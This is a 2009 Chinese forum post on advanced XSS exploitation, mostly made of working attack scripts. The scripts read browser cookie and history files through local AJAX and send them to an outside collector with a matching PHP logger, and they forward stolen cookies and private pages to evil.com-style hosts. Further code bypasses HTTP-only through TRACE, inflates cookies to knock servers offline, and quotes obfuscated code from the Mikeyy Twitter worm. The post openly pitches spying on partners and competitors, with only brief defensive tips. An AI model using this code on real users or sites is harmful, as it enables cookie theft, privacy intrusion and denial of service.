XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页/ d# b. i1 D y0 ]$ x6 u/ t$ j- m
本帖最后由 racle 于 2009-5-30 09:19 编辑
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+ a+ a( D1 y2 I! }, @0 r9 fXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
$ U- A; y5 v8 R& L( C6 E* O- V转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------4 @( N' C0 |$ |% H; q. i2 T
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.( p) z% o! Z1 O8 C
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如果你还未具备基础XSS知识,以下几个文章建议拜读:2 K) E/ O! p' r% j! H4 j
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介6 P- ]$ m: K- W' W6 v N
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全4 C, \' j3 |0 E2 ]
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
$ ]1 {- t" J" ?, p1 |http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF# [6 Q7 n* n+ O4 Z' h
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码' k, n" j7 [7 ^6 ]& t/ T: ?
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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% F0 `0 N& Q& w如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.$ c1 T9 F, A! t% l/ T
0 T0 @: b% P0 D6 K$ t, |希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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1 E$ [* i1 e6 w$ p' R" LBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大4 J! d. c( r7 |2 j8 h
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QQ ZONE,校内网XSS 感染过万QQ ZONE.8 P0 s1 K3 _( Q: B
4 K+ [( B3 q& e+ }, H, V/ UOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪- g% `4 u: L& _; T O
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0 r' j, L+ T9 v7 R4 |复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性., `! ` c& u c; m0 c
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& X) g2 d0 x" p1 w; G8 d* O, {/ a3 F! K跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.% U. H5 L. s' v) `# d' D( W
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
r' N; c+ V3 x- j7 R$ s复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
* }3 z7 w7 I' O, k我们在这里重点探讨以下几个问题:$ c3 ], G, g, p/ Q3 F5 m
- h' T7 g" \7 m' ?. _1 通过XSS,我们能实现什么?6 @* ^2 \% e! D1 k9 {
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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. J; a q, I' z. I: ~/ W3 XSS的高级利用和高级综合型XSS蠕虫的可行性? `) ^9 Y! |& a# Y' C- H8 l/ f
/ d- J5 v% o& ]4 XSS漏洞在输出和输入两个方面怎么才能避免.) w0 j9 z& p u8 _
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* u& v1 t; @& n0 Z------------------------------------------研究正题----------------------------------------------------------: i3 ?% w: i3 q: X' t
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4 p2 F5 D- P2 ]6 w$ Q9 G通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.5 P" b' `* {: u( D3 L2 n0 o
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫/ o' V- `1 b, a1 D3 ^' `
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
" y- [ |* a+ W1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则. o% }& j. T5 N) S4 \3 b8 a# |
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: B. u" x) m/ u2 m/ ?2 \1 A* |0 z3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
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) x% Y8 a! [7 v9 v# }1 y- b(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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# [9 A* D* u' H! o我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。& B$ }$ p8 P7 X* R
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.' P8 m: j! V' A# _
复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}2 t, u: N: c# ~+ h4 m
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/ I- c# L, S3 y! p- t; K function ajax_obj(){
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var request = false;
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if(window.XMLHttpRequest) {0 n* E; X7 F ^. o |$ U6 t
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} else if(window.ActiveXObject) {
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. _2 y; N! s/ a) n* w for(var i=0; i<versions.length; i++) {
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try {
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function _7or3(_m,action,argv){+ `* F' ?1 u; g
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_x.open(_m,action,false);
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if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");" G0 ]# a4 d. S
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_x.send(argv);
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( |5 ]- v* m1 w9 ]' c0 l7 W, V6 n% y return _x.responseText;. v8 `; k. {- W5 g) }
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);' L4 `7 p% U) p
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</script>
6 T: |" u! Z0 r5 K1 G4 v复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}
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function ajax_obj(){4 ]% `: N% S' Q3 l2 n4 }% v0 K8 V
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var request = false;) x! j" y1 a, k2 j3 e S8 l
& X: O9 L; [/ ~ if(window.XMLHttpRequest) {" t5 X$ h! f! O6 S! p3 T! i
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} else if(window.ActiveXObject) {' t/ t2 g k* C" o2 [
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',. M2 ]- d; R L1 d' D& Y& t
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; B9 Z# Y# A/ p+ D
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for(var i=0; i<versions.length; i++) {/ [7 j6 [; |5 i: w4 `. `& F7 i" d
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try {8 e' [7 ~% Z+ N" U2 ^
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request = new ActiveXObject(versions);$ S d( j9 s- @! Q! z! S
" ^( U. E. ^& P' O } catch(e) {}
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}
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return request;# c- n, y* ~8 B1 {. A% J1 z9 ]
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. r& i" D" D/ g' z- t# O, e3 j2 W( U* ? var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);: w- J0 E: ~8 C/ c4 J
( K5 A+ r" A# Z" c: F) O3 ] if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);- b, ]& Y; k2 V& r, b6 |
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);
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</script>& F2 T9 w& M% @* Z+ {9 E
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"( O" `$ K3 g# c: Z5 }
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Chrome 1.0.154.53 use ajax read local txt file and upload exp d' ]( c2 a8 B9 F! X
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www.inbreak.net
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5 p) Q2 Y7 I4 f author voidloafer@gmail.com 2009-4-22 + Y3 D/ b* ^, [9 ]
# _9 g3 g+ S. L' v: v2 i5 l http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 3 V0 t* k1 ~ B5 m7 E: Z
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*/
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t( Y, A& M( Z% N& a' fheader("Content-Disposition: attachment;filename=kxlzx.htm"); ( z4 ]% ?+ k0 v* ?/ }- {. t
2 S8 f, E% w2 z1 X! M: o/ [header("Content-type: application/kxlzx");
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. L7 f7 O9 K# ^9 s" B! M2 g/*
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set header, so just download html file,and open it at local. 0 k" I. c* l3 F/ X% a+ ]4 ~
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( @# k1 O. N( d/ P0 p<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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W* V9 M: |* K" ~ <input id="input" name="cookie" value="" type="hidden">
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<script> $ q1 L1 }2 [8 E: |* A- w/ _% q, W
' |7 R/ P# M5 cfunction doMyAjax(user)
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var time = Math.random(); - x" g4 T) T2 G6 S `
* ]) ~' p4 F+ T6 f9 w/* 1 x) G) Y2 r w* a( ^
. q; j0 j# ?4 x- x' bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default % U- E5 G' e2 R0 k* m, s
) h7 N1 ?2 d# ~& C5 S6 R" {( g |/ Jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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8 J8 U- N Y/ k2 Bvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer); 5 A$ C0 Y7 Y9 G3 i- S& g8 X
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function Enshellcode(txt) 0 J0 j" M! k+ G2 \6 z& a2 s
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{
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var url=new String(txt); 7 t2 z9 a& n/ L" K' L8 ^8 E
* o: W" |; d# N& f3 A+ Cvar i=0,l=0,k=0,curl="";
. }6 m! y$ v! n( W
9 g- F7 j( ] ?# t5 w, ml= url.length; 2 r+ q1 }$ Y4 P9 p
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for(;i<l;i++){
! k, }6 s3 x, E; ?" z$ d7 z* }8 V, D9 o; |) O( m& u$ ~, w" H7 N
k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} - w0 t/ v1 i8 _3 F5 t# C f8 S8 _
! s# o: f* |" N# ?9 Yif (l%2){curl+="00";}else{curl+="0000";} 0 l; F/ d$ t, D: _
9 [, g; ~; o# \curl=curl.replace(/(..)(..)/g,"%u$2$1"); 4 C+ b1 {0 {: a4 L9 w
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return curl; 9 s4 P6 u4 y; c4 ^
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} 4 y7 a; ]! i8 f/ ]" F
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4 o k Z) Q: X# N! k- Y* I7 d* u Q+ N; j8 |. s' c
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9 @) s2 B9 h, B t* I; Bvar xmlHttp;
+ s* v3 F; K2 B+ f* p4 D# p- p- }" V {0 `: E( v( z J
function createXMLHttp(){
d* S! S% H" R
) B2 v( X# V* s) L; D6 Q! e4 Q if(window.XMLHttpRequest){ / J! U. L, Z7 U7 x! _; M+ R0 y
, @- k2 u8 Y9 |8 z6 lxmlHttp = new XMLHttpRequest(); * L& l0 D8 D0 e1 a8 @ r7 ~& M: U
5 w5 w: R: F: U% h, {# I# J- Z }
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else if(window.ActiveXObject){
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# `( I0 o+ |8 K2 GxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} ( l2 P% o* b1 |2 F c
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7 e: E) I' |7 Z( v. Z
9 M) z2 s% z& M6 ~3 U# Afunction startRequest(doUrl){
& {, ^7 r* L+ B1 E! x
$ f* ?7 ^& }; b1 l1 x1 |7 q
2 d* n7 {9 z) j6 | j+ I+ i
! v' j0 P& V- J& _( j' J& T5 @ createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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+ l8 }# y+ g( ^8 C5 G* W! D$ q1 X# V! E: [4 U/ G& x p) R
& v) ~3 W! R" y8 v$ c# T4 _# @ xmlHttp.send(null); 4 q# S8 |& Q% T8 w9 Q0 i; e
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A, \. J% y" H3 C9 S6 G: A
8 a% t3 U. L' W/ I( F3 ?* \8 B! X
% s8 n5 @1 w$ T. k/ r1 k} # q1 O3 l; _1 [0 m; h
% d, ]" s. c+ Y6 @
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; l" U3 J7 }. T/ nfunction handleStateChange(){
' y* d6 z- c7 q# u, z' V; L9 e) E
* a1 D' E) g" k% E0 s0 |( k if (xmlHttp.readyState == 4 ){
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* U9 e4 d9 b n% O var strResponse = "";
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- |8 C) G, q( r- I+ f& _ setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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. \# h* S1 P, u! N3 I) | }
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_# D Z) A# p3 J( [) \} + q4 F- V/ i C3 N
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% Q, j" t( P# f1 ?, T1 qfunction framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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doMyAjax("administrator");
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, P; C, @" L: X* Y* m z</script>
, m8 P# X' I! p0 Q9 f复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ; h: A6 x4 B$ U
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var xmlHttp; 5 t3 d( S! r9 p C& {# _
5 P0 t1 N! ?; E1 e6 Lfunction createXMLHttp(){
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if(window.XMLHttpRequest){
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1 B& d% ^ v7 h3 r% O1 M( V xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ 9 a: C# y2 }0 L+ q' c; K
3 |( j- I/ w1 f xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + l( f2 q; w9 R3 l0 s
: g$ o$ ?& W7 z! \& G }
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) M- k G' g% o r5 i& g}
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, |; ?: s, ], bfunction startRequest(doUrl){
$ Y2 J+ W% k; \
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8 |0 ?2 b7 H: W5 x- J createXMLHttp();
$ E# e3 Y% M- k. Y0 o) p0 `, h: q6 N) d) ^; M( l
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7 k' X5 [$ V3 v# i0 _' C xmlHttp.onreadystatechange = handleStateChange; 3 E2 X( ^) A* ~8 k
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& p n( D: p) k xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); , T, c8 R- F1 V7 C$ ^/ F" W
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8 T$ l$ }' e( W- y6 [9 I7 Z}
% a% V S+ O( u5 o& x# z% J S1 t2 k' y2 y4 o
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% `8 }6 L' E. h% a4 N. H/ ]function handleStateChange(){
" |4 L4 v( E1 q5 V! g4 s0 X: l; M! L4 z) f6 s9 U( n4 ~
if (xmlHttp.readyState == 4 ){ & V h/ Z: @/ A) C J2 d% ^
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var strResponse = ""; " R" n2 h+ p" T- O% `: i2 h
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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+ G2 T$ e0 E- x* S" k5 f: I, Z& Q/ Y" z* l, s7 s) B! h1 l x
} 2 ]* d; }& ]5 ]& ~5 o6 P
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function doMyAjax(user,file)
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var time = Math.random();
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8 @1 U8 @: Y/ l3 C- K1 I$ U
" A4 v4 B+ ~( A7 X var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 6 k' x* j& }# `, J1 e! G$ q6 b
# O2 y) J R* a+ p6 |- y% q; b
8 S! Y F" k! f0 R; P5 `. f$ Z
% J2 r5 f0 W+ v% S6 C- L startRequest(strPer);
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}
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5 E4 x6 p; X. i+ o
2 P" _! F" F+ Nfunction framekxlzxPost(text) - y- Q% |' k2 r9 u2 F
' @* C! P, x* C: h j{
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ' ~. p( ~0 a) b a1 K; Y) `' T
! h/ d4 l0 ^ Y4 }" y. y, l( A3 v alert(/ok/); , w6 n2 [* b% K# F3 y: T
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9 h' Z/ n9 L' n0 L: \+ C) {: m. m, QdoMyAjax('administrator','administrator@alibaba[1].txt');
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</script>5 C9 c9 ^$ l0 ~+ c/ m
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! n) `$ R% O; c2 ma.php4 N: }& d4 O, w* H, A
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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) B; o; V# C% @8 p$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 0 {1 s. T" O/ |6 w0 u% |& h
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. R1 ~2 d% m& W* @$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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, e; V) Z. Z8 c3 i2 N3 pfwrite($fp,$_GET["cookie"]); 2 _# k8 M, I7 A) Z, v6 }' t" I1 |+ z
# h- Y& ?- E2 |3 x# w f, \fclose($fp);
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?> 9 O6 i/ G( M. t1 S' w
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:# S, v! q# K# v
; j7 ]1 ]) P7 m% b或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.1 @, c- }/ H4 j- J- P
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.) j* G+ p( z4 v1 \- y7 O
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);& Y E* ~1 O; G; ?- R5 g) i; P
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);( H( R+ G0 ?. j9 e' @1 m( \ \
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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. ^' A! p! X H! K, h v0 I! q6 vfunction getURL(s) {( _2 K% T( B+ _. g: V/ s
& C% X" {- s6 T; n1 {6 S* Lvar image = new Image();
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image.style.width = 0;
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% }& b9 F- o) S }( Z3 Oimage.style.height = 0;/ Y5 Q7 _8 H6 @+ `) N) E t
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image.src = s;: W7 _2 V3 p5 C& I `6 `
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% l+ }) ~# k! pgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);9 Q* [( Z: ]. O$ R' ~& L
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.; z7 L5 ?0 p4 N
这里引用大风的一段简单代码:<script language="javascript">. n$ y/ f' w4 d
1 z% c1 e/ G6 F( z: Lvar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";) A& M$ v$ [' L; I3 X1 v
$ P: `, |" h, Mwhile (str.length < 4000){( n! W. f) G# _! ]; v$ }$ B
6 a1 Z* {0 ^6 b. s/ C0 y" }( d
str += metastr;
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) C" x5 f0 ~ D/ G. E9 ddocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS9 L5 C& B& Q7 I! o$ I
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</script>6 U ~% B1 }8 {6 H4 Z
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 e# A. q0 o- h; c7 S' y* |复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.) Y& m+ e8 [, J: g5 j8 w) V
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 J6 \% L0 s" X& q! @$ I+ w; C4 q攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.- U! t2 B: f2 u. }+ _6 {
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5 H! X+ h6 `& P3 r! r(III) Http only bypass 与 补救对策:( c7 ~0 ~4 {7 M$ H7 j: b; v
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
8 w1 j& F# l+ B; v: e4 n& H以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
6 L: v( r9 X- c' {5 ~) t# w: s+ n Q
# U( a) \$ {1 a8 c+ y5 S<!--6 x/ H! B+ A# T+ h9 B
* h! z$ S2 [& e/ w. Dfunction normalCookie() { ( g8 q1 Z( p) a" e! R9 z# D) E
& R, A5 T8 i! ?* ]( Zdocument.cookie = "TheCookieName=CookieValue_httpOnly"; / n7 H, S1 r; M0 g( P0 a
' `. f# @/ n1 ~& d c' Palert(document.cookie);
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function httpOnlyCookie() { ' q: Z4 o6 n4 E9 {3 h1 x
; |7 ^* ? Q' h% b D, t/ T ~* {
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ) D( G0 j/ y- b
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alert(document.cookie);}* n5 a" q. X2 K. p$ g
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//-->
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</script>
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& E# i* ^% e/ b4 y<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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/ Q6 g/ [3 ~5 x+ w1 N4 i<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
) D5 }" q2 d1 }复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>" ~: _$ k4 J$ u# m; e& X4 { o
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3 m- A& I2 F6 Z/ ]. ?% G
$ O: m8 g8 @1 ?5 a' A3 Dvar request = false;
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9 S: P7 Y5 v, P/ f( s& J if(window.XMLHttpRequest) {4 }4 i0 i% y- {+ R. ^0 f
5 L. Y9 ^ Y9 b8 q5 W
request = new XMLHttpRequest();
% a0 q* e! x: m7 h2 x+ }8 b# x' ^2 w u% o0 [& O8 x
if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {" G" q& t' \: b: O( Y; u
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];: u a) E! ~9 @" ~
# |* x4 P: E% A
for(var i=0; i<versions.length; i++) {
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7 B% q4 w2 k4 O0 t( ]* m1 x9 I try {
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$ Y+ @% K8 a7 q2 S+ J- A5 z request = new ActiveXObject(versions);
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2 X" x3 k2 o! Y* e7 i, H } catch(e) {}
7 p! ]0 b* @2 G* j& s( R# N/ C4 E& L5 H! s! ~4 P7 \) W
}
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xmlHttp=request;
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) B T$ v7 R! yxmlHttp.open("TRACE","http://www.vul.com",false);5 C* W: k' P! P' ?( v4 M
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xmlHttp.send(null);9 z) m+ \* a2 o6 `5 z
2 C4 U6 U0 M4 q }- K, DxmlDoc=xmlHttp.responseText;- a/ ?! P8 w) V# h7 e8 v
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alert(xmlDoc);
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8 p1 g9 x' _, e( {3 D1 d! \</script>
9 \+ D. ? _ }% p- E% S( U) v复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>% z$ b( P, S( j% n
7 {$ v) i/ c, ^4 r( P2 C1 xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 I; B* f$ A7 g6 M/ i4 Q
0 `! ]3 ]( K) O" g3 P2 V6 Y+ uXmlHttp.open("GET","http://www.google.com",false);5 q" B) w/ h1 L5 z: _
; x/ ?. U, n; w! A/ IXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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) u& ^2 Z$ N5 @4 k8 y1 @. x L# y& Gvar resource=xmlHttp.responseText0 d( A% F+ F: S8 C
. x: Q# b9 `& I7 iresource.search(/cookies/);
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1 Q8 v) Z- g3 N0 c( A! Z$ c......................# n) t, F. v2 Z) |
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</script>0 J: B/ }& ~- I$ a
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6 }2 M: s' F( W% i/ r+ k
7 L! p2 Y6 f9 F1 R& h
7 C5 k: h& [2 D* p; X0 a如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
/ p2 z+ D, D1 h4 ]" P4 b# h) R2 b: r5 M; L5 h- [, l2 |6 ]
[code]: Y I# o$ c2 s2 s, i9 A
1 `% Q1 L3 K3 S0 XRewriteEngine On3 X' C: A1 \' B
1 k3 t1 o6 C; o: a( F2 ?1 g" rRewriteCond %{REQUEST_METHOD} ^TRACE2 @3 j1 s! [& M7 T' g" }! h; X
8 r$ P# k' p9 N) Z" u! z: W
RewriteRule .* - [F]
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, K+ M: L2 U. q' p
0 x; n: @0 {: |) [
, e: A% j# a* n3 f8 wSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求% Y0 ~% a1 m' V
1 M E: ^: w6 Z$ d( y
acl TRACE method TRACE* S/ o Z |' A2 E. @. Q, o
: q$ _* X! E; S+ c...
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: G; e! C4 X. C4 ]9 fhttp_access deny TRACE% e" ?0 ?7 o5 C* K. \
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( c( v t! ?3 f7 Y8 O- V) V2 W) I
& u! U; J9 b" a+ kXmlHttp.open("GET","http://www.google.com",false);6 V0 m% C* Q; O/ u) B2 L
0 [% _- [. [& ~# P& [- o3 [XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);7 v; i( \2 b6 t1 K' O
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</script>3 i- E8 y% J# m- f
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>; D! Q) P( b* G: k2 ]+ {4 @
: f( k6 r& m! B7 ^2 `$ R+ |0 P. ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");, Z$ f' f4 D0 l! @! t6 n- T0 y
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N! R" A9 C+ G {% F: c) l0 K9 s0 F% f; Z( b4 F: D! K C
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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]; w7 ]8 b6 }6 R0 _6 j# g<script>
1 n% _: G; A9 J复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.& K$ W' E9 c7 g
复制代码案例:Twitter 蠕蟲五度發威
% X* x% L! w/ H9 O6 p4 O4 W: l: y, w第一版:* k4 s+ x9 X: t! p; K2 ]
下载 (5.1 KB)+ N' v- j4 i7 a
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; & I6 ~8 s6 D6 U
